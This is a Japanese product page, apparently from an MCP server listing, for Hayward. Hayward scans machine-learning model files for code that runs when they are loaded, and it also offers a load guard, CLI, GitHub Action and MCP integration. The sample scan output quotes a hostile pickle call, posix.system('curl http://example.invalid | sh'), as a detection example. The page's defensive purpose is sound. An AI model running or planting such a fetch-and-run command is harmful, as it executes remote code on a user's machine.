hayward について
Haywardは、読み込み時に実行される可能性があるコードを機械学習モデルファイルから検出するスキャナーです。チェックポイントを扱うチームや開発者向けに、ロード時ガードも備え、CI、ローカル、ブラウザー、MCPサーバーで利用できます。
主な機能
- 01モデルとリポジトリ設定のスキャン
- 02ロード時に危険な呼び出しを検出
- 03スキャン範囲の制約を報告
- 04対応するPython読み込み関数を保護
- 05CLI、GUI、ブラウザー、CIで実行
- 06JSON出力としきい値の設定
活用シーン
- 01公開チェックポイントの読み込み前検査
- 02CIビルドへのモデルファイル検査の追加
- 03Pythonでのモデル読み込み時に危険な呼び出しを拒否
- 04読み込み前のモデル検査をコーディングエージェントに依頼
MCP 対応
HaywardはMCPサーバーとして動作し、モデルファイルの読み込み前にコーディングエージェントからスキャンを呼び出せます。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
ツール
1掲載時のツール一覧 · 6 日前に更新
| パラメーター | 型 | 必須 | 説明 |
|---|---|---|---|
| path | string | はい | |
| fail_on | string | いいえ |
詳細
Hayward
機械学習モデルファイル向けのセキュリティスキャナーです。 チェックポイントを読み込む前に、マシン上でコードが実行されるかどうかを確認できます。
pip install hayward
hayward scan ./models
CRITICAL MFV-PICKLE-001 checkpoints/model.pt
Pickle file references unsafe callable(s) that grant code/command
execution on load: posix.system('curl http://example.invalid | sh').
1 finding(s): 1 critical
またはブラウザーでお試しください。 同じスキャナーを WebAssembly にコンパイルしています。ページにチェックポイントをドロップしても、ファイルはマシンから外に出ません。
読み込み時にガードする
スキャンでは、ファイルを読み込む前にチェックします。ガードでは、読み込み中にチェックします。
import hayward.guard # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous calls
読み込みのたびに最初にスキャンし、ファイルが実行しようとする各関数も、実行前にチェックします。デフォルトモードでは安全性が高まりますが、サンドボックスではありません。信頼できないファイルに対しては、hayward.guard.install(strict=True) を使用すると、既知の安全なリストにないものをすべて拒否します。使用ガイドでは、対応範囲外の内容を説明しています。
コーディングエージェントに先にチェックさせる
pip install "hayward[mcp]"
claude mcp add hayward -- hayward mcp

問題点
torch.load、joblib.load、numpy.load(allow_pickle=True) は、読み込むファイル内のコードを実行します。これはバグではなく、pickle の仕組みです。
ファイル名は pytorch_model.bin で、この文では .bin が大きな役割を担っています。これはプログラムです。読み込むということは、あなたのノートパソコン上で、あなたの認証情報を使い、あなたとして実行するということです。
対象ユーザー
公開ハブからチェックポイントを取得し、CI パイプラインやノートパソコン、あるいはネットワーク外への持ち出しが一切許されない規制環境でチェックを実行したいチームです。
他との違い
静かに動作します。 誤検知を繰り返すゲートは無効にされてしまうため、実際のモデルを明確に報告し、検証できなかった内容に限って INFO レベルに分類するよう設計されています。ここで示す数値はすべて、独自に測定したもので、第三者による再現性は確認されていません。精度では、対応する内容と対応しない内容を説明しており、ハーネスを使って独自のコーパスで実行できます。
確認できなかった場合も報告します。 最後まで解析できなかったコンテナーや、検証できなかったコンテンツには、問題なしという判定ではなく、対象範囲に関する明示的な検出結果を返します。また、解析エラーが、それまでに見つかった内容を消すことはありません。攻撃者は意図的な解析エラーの背後にペイロードを隠すため、ペイロードの後に不要なデータが続いていても、スキャン結果は重大になります。正直にお伝えすると、最初のバイトからどのモデル形式にも一致しないデータについては、何も報告されません。
誰もリストに載せていないガジェットも検出します。 未知の呼び出し可能オブジェクトは、名前ではなく、渡された引数に基づいて判定されます。URL、シェルコマンド、ホストとポート。拒否リストを超えて一般化できるのは、この方法です。
どこにでもインストールできます。 依存関係は1つだけで、モデルフレームワーク、ネイティブ拡張、ネットワークは不要です。Python 3.10 以降に対応しています。
ビルドに組み込めます。 終了コードと JSON 出力を文書化しており、しきい値も設定できます。
スキャン対象
| 形式 | |
|---|---|
| Pickle、およびそれをラップするすべての形式 | PyTorch(zip、legacy、.ptl モバイル)、joblib、NumPy .npy / .npz、TorchServe .mar、NVIDIA NeMo、skops |
| テンソルコンテナ | SafeTensors、GGUF、TFLite |
| グラフ形式 | ONNX、TensorFlow SavedModel、Keras(H5 および .keras)、PMML |
| リポジトリ設定 | HuggingFace config.json / tokenizer_config.json(auto_map、trust_remote_code、Jinja chat_template インジェクション) |
合計 26 種類の拡張子に対応しています。形式はマジックバイトから判定されるため、weights.safetensors や weights.dat に名前を変更したペイロードや、拡張子のないペイロードも、ファイル名だけを根拠に見逃されることはありません。ディレクトリのスキャンでは、ツリー全体を読み込んで判定する必要があるため、まず拡張子で候補を見つけます。この制限についてはカバレッジに記載されています。
実行方法
hayward scan ./models # command line
hayward scan ./models -f html -o report.html # shareable report
hayward-gui # desktop window
from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))
または、ロードガード、pre-commit フック、あるいはモデルのロード前にコーディングエージェントが呼び出すMCP サーバーとして実行できます。
CI では、ビルドを失敗させ、SARIF をコードスキャンにアップロードする GitHub Action としても実行できます。
- uses: hedgerow-dev/hayward@v1
with:
path: models
fail-on: high
GitHub Action ガイドをご覧ください。
スキャン結果がクリーンであることの意味
Hayward がファイルを読み取り、危険なものを検出しなかったという意味です。モデルが安全だという意味ではありません。これは煙探知機であり、建物の調査ではありません。入れなかった部屋についてはカバレッジに記載されています。
ドキュメント
- 使い方:CLI リファレンス、終了コード、CI、pre-commit、GUI、MCP サーバー、Python API、ロードガード
- ルール:重大度と CWE マッピングを含む全 47 ルール
- カバレッジ:ファイルを読み取れない場合の動作と、それが検出結果となる理由
- 仕組み:pickle を実行せずに読み取る方法と、未知の呼び出し可能オブジェクトを引数から判定する方法
- GitHub Action:CI でスキャンを実行し、SARIF をコードスキャンにアップロードする方法
- 再現可能なビルド:Docker イメージとブラウザデモのビルドパイプライン
- 精度:測定結果、注意点、および精度が落ちる場面
コントリビューション
最も役立つコントリビューションは、Hayward が誤判定するファイルです。誤検知も見逃しと同じくらい重要です。信頼されないスキャナーは誰にも実行されず、そうなれば存在しないのと同じです。
git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest
セキュリティ
Hayward の脆弱性は、issue ではなく [email protected] に報告してください。スキャナーをクラッシュさせる入力も報告対象です。CI ゲートでは、クラッシュとスキャンが実行されなかった場合を区別できません。
ライセンス
hayward とは、垣根を歩き、隙間を確認し、そこを通り抜けたものを囲いに入れる教区役人のことでした。
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。